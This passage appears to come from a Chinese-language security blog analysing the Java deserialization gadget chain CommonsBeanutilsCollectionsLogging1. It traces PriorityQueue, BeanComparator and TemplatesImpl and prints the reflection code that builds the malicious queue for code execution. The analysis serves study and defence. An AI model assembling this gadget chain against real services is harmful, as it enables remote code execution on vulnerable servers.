        final Field field = getField(obj.getClass(), fieldName);        
        return field.get(obj);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }
}

对于这个类感觉要是知道反射怎么用的话都好理解。在 getField 方法中,要是当前类找不到还会去父类里面找,并且用了 setAccessible(true)来使得那些设置了 private 的成员变量也能访问到。
到这里就获取到了一个构造好的 TemplatesImpl 对象,就差 getOutputProperties()怎么被调用了。

0x02 利用链的构造

目前的理解是在 Java 中反序列化后能自动调用的就 readObject 方法,这里就用到了 PriorityQueue(优先级队列)类中重写的 readObject():

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

反序列化后存到 queue 数组中,再进入heapif():

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

这里应该做的是排序操作,往下再跟 siftDown(),siftDownUsingComparator():

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

siftDownUsingComparator 方法才是这里的重点,这里将序列化后得到的对象传入了比较器 comparator 中的 compare 方法中去,在 CommonsBeanutilsCollectionsLogging1 中这个比较器用的是 BeanComparator:

        final BeanComparator comparator = new BeanComparator("lowestSetBit");

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

去看下 BeanComparator(在commons-beanutils 包,同时需要用到 commons-collections 包中的ComparableComparator)中的 compare():

public int compare( T o1, T o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }

    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    }
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    }
}

这里的关键在用 PropertyUtils.getProperty 来获取属性的值,比如这里它会去调用 o1.getProperty(),没有去跟它的具体实现了,但是可以用一小段代码来证明:
59950c77b3c82.png
只要 o1 为 TemplatesImpl,property 为 outputProperties 就可以触发 TemplatesImpl.GetoutputProperties()从而执行命令。使用 PropertyUtils.getProperty 需要 commons-logging 包,不然会抛出异常。
接下来要做的就比较明确了,先添加正常的数据再通过反射去替换掉 queue 中的对象和 property,因为 PriorityQueue 不支持 non-comparable 对象,这里用到了 Java 的泛型的类型擦除。如果直接使用 queue.add 方法添加 template 会触发 Java 的 SecurityManager 安全机制,抛出异常:

        // stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;

0x03 测试

59950c77cb15c.png

参考